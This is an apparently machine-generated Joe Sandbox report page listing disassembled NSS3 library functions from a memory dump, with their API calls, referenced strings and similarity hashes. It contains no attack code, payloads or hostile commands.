Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nrl
API String ID: 1003633598-2311208973
Opcode ID: ecedc3819fb2ab8fd590f0e3b4196bd957eeb571b52b319065262527abde4ddb
Instruction ID: c82db861a7a42adac37305707c0c499a3d3bd77126c0cb12181ce34852dc1c23
Opcode Fuzzy Hash: ecedc3819fb2ab8fd590f0e3b4196bd957eeb571b52b319065262527abde4ddb
Instruction Fuzzy Hash: 76310431601158EFCB029F54CE4CF8A7BB1EB47359F58C034E808A7A12DB319948DBBA

Function 6C64A9A0 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptMessageBegin), ref: 6C64A9C6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C64A9F4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C64AA03

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C64AA19
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C64AA3A
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C64AA55
PR_LogPrint.NSS3( pAssociatedData = 0x%p,?), ref: 6C64AA6E
PR_LogPrint.NSS3( ulAssociatedDataLen = 0x%p,?), ref: 6C64AA87

Strings

ulParameterLen = 0x%p, xrefs: 6C64AA50
nrl, xrefs: 6C64AA9F, 6C64AAD3
pParameter = 0x%p, xrefs: 6C64AA35
C_DecryptMessageBegin, xrefs: 6C64A9C1
ulAssociatedDataLen = 0x%p, xrefs: 6C64AA82
hSession = 0x%x, xrefs: 6C64A9DE, 6C64A9EE
(CK_INVALID_HANDLE), xrefs: 6C64A9FC
pAssociatedData = 0x%p, xrefs: 6C64AA69

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pAssociatedData = 0x%p$ pParameter = 0x%p$ ulAssociatedDataLen = 0x%p$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptMessageBegin$nrl
API String ID: 1003633598-3707204026
Opcode ID: d6ec037123eee657b5551952eb4d6cbe58a58e4ab16d254e2a0588dede8af766
Instruction ID: dc2ec6e5a925c7dac407369558781d07b12fd87fba259c1594e864cf70ebd2e4
Opcode Fuzzy Hash: d6ec037123eee657b5551952eb4d6cbe58a58e4ab16d254e2a0588dede8af766
Instruction Fuzzy Hash: 5F31AF35601168EFDB01DF54DE4CB9A3BB1FB46318F09C034E80967A12DB349958DBBA

Function 6C614AF0 Relevance: 27.4, APIs: 18, Instructions: 355memorystringthreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,?,6C651444,?,?,00000000,?,?), ref: 6C614BD4

Part of subcall function 6C650C90: PR_SetError.NSS3(00000000,00000000,6C651444,?,00000001,?,00000000,00000000,?,?,6C651444,?,?,00000000,?,?), ref: 6C650CB3

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C651444), ref: 6C614B87
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C614BA5

Part of subcall function 6C6688E0: TlsGetValue.KERNEL32(00000000,?,?,6C6708AA,?), ref: 6C6688F6
Part of subcall function 6C6688E0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6708AA,?), ref: 6C66890B
Part of subcall function 6C6688E0: PR_NotifyCondVar.NSS3(?,?,?,?,?,6C6708AA,?), ref: 6C668936
Part of subcall function 6C6688E0: PR_Unlock.NSS3(?,?,?,?,?,6C6708AA,?), ref: 6C668940

PR_SetError.NSS3(FFFFE02A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C614DF5
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 6C614B94

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C651444,?), ref: 6C614BC2
PR_GetCurrentThread.NSS3(?,?,?,?,?,00000000,00000000), ref: 6C614BEF
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C651444), ref: 6C614C27
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C651444), ref: 6C614C42
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C614D5A
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C614D67
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C614D78
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C614DE4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C614E4C
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C614E5B
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C614E6C

Part of subcall function 6C614880: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6148A2

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C614EF1
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C614F02

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Error$Arena$Alloc_Item_Valuememcpystrlen$CriticalEnterSectionUnlockZfree$AllocateArena_CompareCondCurrentFreeNotifyThreadfree
String ID:
API String ID: 24311736-0
Opcode ID: 2039686ed568bdecda4a4084c0e8ba3cb54043b2581147a2ed1e14d2d73f1899
Instruction ID: c56b9cef0db8fb6523cd97871e44ee9997e607030c22e4f1c7fcd41e169e9966
Opcode Fuzzy Hash: 2039686ed568bdecda4a4084c0e8ba3cb54043b2581147a2ed1e14d2d73f1899
Instruction Fuzzy Hash: 97C15EB5E043099BDB00CF69DD80BEE77F8AF0930DF144529E815A7B01E771E9158BAA

Function 6C6A28C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6A5B56

TlsGetValue.KERNEL32 ref: 6C6A290A
EnterCriticalSection.KERNEL32(00000001), ref: 6C6A291E
TlsGetValue.KERNEL32 ref: 6C6A2937
EnterCriticalSection.KERNEL32(00000001), ref: 6C6A294B
PR_EnterMonitor.NSS3(?), ref: 6C6A2966
PR_EnterMonitor.NSS3(?), ref: 6C6A29AC
PR_ExitMonitor.NSS3(?), ref: 6C6A29D1
PR_EnterMonitor.NSS3(?), ref: 6C6A29F0
PR_EnterMonitor.NSS3(?), ref: 6C6A2A15
PR_EnterMonitor.NSS3(?), ref: 6C6A2A37
PR_ExitMonitor.NSS3(?), ref: 6C6A2A61
PR_ExitMonitor.NSS3(?), ref: 6C6A2A78
PR_ExitMonitor.NSS3(?), ref: 6C6A2A8F
PR_ExitMonitor.NSS3(?), ref: 6C6A2AA6

Part of subcall function 6C6D9440: TlsGetValue.KERNEL32 ref: 6C6D945B
Part of subcall function 6C6D9440: TlsGetValue.KERNEL32 ref: 6C6D9479
Part of subcall function 6C6D9440: EnterCriticalSection.KERNEL32 ref: 6C6D9495
Part of subcall function 6C6D9440: TlsGetValue.KERNEL32 ref: 6C6D94E4
Part of subcall function 6C6D9440: TlsGetValue.KERNEL32 ref: 6C6D9532
Part of subcall function 6C6D9440: LeaveCriticalSection.KERNEL32 ref: 6C6D955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6C6A2AF9
free.MOZGLUE(?), ref: 6C6A2B16
PR_Unlock.NSS3(?), ref: 6C6A2B6D
PR_Unlock.NSS3(?), ref: 6C6A2B80

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: fc0f66f387e4ebc63385d8abca30c438b628dc9eaf8fe408da56bdc05ef48d1c
Instruction ID: c8a7937d73db9404af31c489d9965edd3f78f121061cd0886a18f307196a30ed
Opcode Fuzzy Hash: fc0f66f387e4ebc63385d8abca30c438b628dc9eaf8fe408da56bdc05ef48d1c
Instruction Fuzzy Hash: 708193B5A007019BDB209F76EC45797B7E5AF0630CF044938D85EC6B11EB31E919CB99

Function 6C668E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C668E01,00000000,6C669060,6C770B64), ref: 6C668E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C668E01,00000000,6C669060,6C770B64), ref: 6C668E9E
PORT_ArenaAlloc_Util.NSS3(6C770B64,00000001,?,?,?,?,6C668E01,00000000,6C669060,6C770B64), ref: 6C668EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C668E01,00000000,6C669060,6C770B64), ref: 6C668EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C668E01,00000000,6C669060,6C770B64), ref: 6C668ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C668E01,00000000,6C669060,6C770B64), ref: 6C668EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C668E01), ref: 6C668EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C770B64,6C770B64), ref: 6C668F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C668F3F

Part of subcall function 6C66A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C66A421,00000000,00000000,6C669826), ref: 6C66A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C66904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C668E76

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 61b50c6ee95ba04963e4bf15878764773bbe4a00eaa03cbdb69e129bdf240d4e
Instruction ID: edb926f736c5b071d21a9be54505a1d9cbf16e5c7978d41e0b5e29422776bcc2
Opcode Fuzzy Hash: 61b50c6ee95ba04963e4bf15878764773bbe4a00eaa03cbdb69e129bdf240d4e
Instruction Fuzzy Hash: 3161D1B5D0020A9BDB10CF66CD84AEBB7B5FF89358F144128DC58A7B10E732A915CBB5

Function 6C618E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C618E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C618E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C618EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7418D0,?), ref: 6C618F03
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C618F19
PL_FreeArenaPool.NSS3(?), ref: 6C618F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C618F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C618F65
PL_FinishArenaPool.NSS3(?), ref: 6C618FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C618FFE
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C619012
PL_FreeArenaPool.NSS3(?), ref: 6C619024
PL_FinishArenaPool.NSS3(?), ref: 6C61902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C61903E

Strings

security, xrefs: 6C618EE7

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 7391918f55716246e6be134a2a80f483474633a7a7a18ee99f996b6fa71a294b
Instruction ID: a6b841506a7fd6ed2d81fb838f40c0cdf1a75ac0e9561d9453b5b596fc6f7bfd
Opcode Fuzzy Hash: 7391918f55716246e6be134a2a80f483474633a7a7a18ee99f996b6fa71a294b
Instruction Fuzzy Hash: 4B5127B150C300AFD7109A199C40FEB73A8AB8A35DF56082EF95997F50E731D909876F

Function 6C6DCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6DCC7B), ref: 6C6DCD7A

Part of subcall function 6C6DCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C64C1A8,?), ref: 6C6DCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6DCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6DCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C6DCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6DCD8E

Part of subcall function 6C6005C0: PR_EnterMonitor.NSS3 ref: 6C6005D1
Part of subcall function 6C6005C0: PR_ExitMonitor.NSS3 ref: 6C6005EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C6DCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6DCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6DCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6DCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C6DCE48

Strings

wship6.dll, xrefs: 6C6DCDE3
getnameinfo, xrefs: 6C6DCDB2, 6C6DCE23
freeaddrinfo, xrefs: 6C6DCD9F, 6C6DCE10
getaddrinfo, xrefs: 6C6DCD88, 6C6DCDF9
ws2_32.dll, xrefs: 6C6DCD75

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: b389fc4f52e21a5b9cc85e9233bed0d5dc03657636fc415b2d1272a73b9a337d
Instruction ID: 83fa4a518818b800431dbff2fc80c1a3df72a4964d7ee9a7127c07a08768b0cc
Opcode Fuzzy Hash: b389fc4f52e21a5b9cc85e9233bed0d5dc03657636fc415b2d1272a73b9a337d
Instruction Fuzzy Hash: B711EBE5F1252967D7026D712E1099E3A9C5B4314DF158934D40AE2E41FF21E60DC7FE

Function 6C680C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,hl), ref: 6C680C81

Part of subcall function 6C66BE30: SECOID_FindOID_Util.NSS3(6C62311B,00000000,?,6C62311B,?), ref: 6C66BE44

Part of subcall function 6C658500: SECOID_GetAlgorithmTag_Util.NSS3(6C6595DC,00000000,00000000,00000000,?,6C6595DC,00000000,00000000,?,6C637F4A,00000000,?,00000000,00000000), ref: 6C658517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C680CC4

Part of subcall function 6C66FAB0: free.MOZGLUE(?,-00000001,?,?,6C60F673,00000000,00000000), ref: 6C66FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C680CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C680D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C680D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C680D7D
free.MOZGLUE(00000000), ref: 6C680DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C680DC1
free.MOZGLUE(00000000), ref: 6C680DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C680E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C680E0F

Part of subcall function 6C6595C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C637F4A,00000000,?,00000000,00000000), ref: 6C6595E0
Part of subcall function 6C6595C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C637F4A,00000000,?,00000000,00000000), ref: 6C6595F5
Part of subcall function 6C6595C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C659609
Part of subcall function 6C6595C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C65961D
Part of subcall function 6C6595C0: PK11_GetInternalSlot.NSS3 ref: 6C65970B
Part of subcall function 6C6595C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C659756
Part of subcall function 6C6595C0: PK11_GetIVLength.NSS3(?), ref: 6C659767
Part of subcall function 6C6595C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C65977E
Part of subcall function 6C6595C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C65978E

Strings

*,hl, xrefs: 6C680C69, 6C680DE0, 6C680C80, 6C680C8B, 6C680CAF
-$hl, xrefs: 6C680C64
*,hl, xrefs: 6C680DCC

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,hl$*,hl$-$hl
API String ID: 3136566230-455015017
Opcode ID: a268bcfb20be5c5e0b9c06f7810c8144932be5bfda91d7002d0d7f652f9d4cd1
Instruction ID: 7faac86266a23e91d20572137cee816eb9266bcdd1a79457471f252ca44a0f68
Opcode Fuzzy Hash: a268bcfb20be5c5e0b9c06f7810c8144932be5bfda91d7002d0d7f652f9d4cd1
Instruction Fuzzy Hash: A741D2B1902255ABEB009F65DC41BEF76B4EF0630CF104524E91957B41E735AA14CBFE

Function 6C646AF0 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 101COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptFinal), ref: 6C646B16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C646B44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C646B53

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C646B69
PR_LogPrint.NSS3( pLastPart = 0x%p,?), ref: 6C646B85
PR_LogPrint.NSS3( pulLastPartLen = 0x%p,?), ref: 6C646BA0
PR_LogPrint.NSS3( *pulLastPartLen = 0x%x,?), ref: 6C646C0A

Strings

nrl, xrefs: 6C646BB8, 6C646BE6
pulLastPartLen = 0x%p, xrefs: 6C646B9B
pLastPart = 0x%p, xrefs: 6C646B80
*pulLastPartLen = 0x%x, xrefs: 6C646C05
C_DecryptFinal, xrefs: 6C646B11
hSession = 0x%x, xrefs: 6C646B2E, 6C646B3E
(CK_INVALID_HANDLE), xrefs: 6C646B4C

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulLastPartLen = 0x%x$ hSession = 0x%x$ pLastPart = 0x%p$ pulLastPartLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptFinal$nrl
API String ID: 1003633598-2891733384
Opcode ID: 0626360dd57c41cdf5fb5cc7da0632e114937b8c93c22f6bbf8ede60fecb4c23
Instruction ID: ef0659974dd0c8dc3fff260bc1f6169cdb84d31b9a13e5550b72f06df7562b5c
Opcode Fuzzy Hash: 0626360dd57c41cdf5fb5cc7da0632e114937b8c93c22f6bbf8ede60fecb4c23
Instruction Fuzzy Hash: BF31B231701158EFDB019B54DE8CF9A3BB5EB42359F08C039E81997A12DB34D958CBBA

Function 6C676CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C741DE0,?), ref: 6C676CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C676D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C676D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C676D82
DER_GetInteger_Util.NSS3(?), ref: 6C676DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C676DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C676E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C676F19
PK11_DigestBegin.NSS3(00000000), ref: 6C676F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C676F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C677011
PK11_FreeSymKey.NSS3(00000000), ref: 6C677033
free.MOZGLUE(?), ref: 6C67703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C677060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C677087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6770AF

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
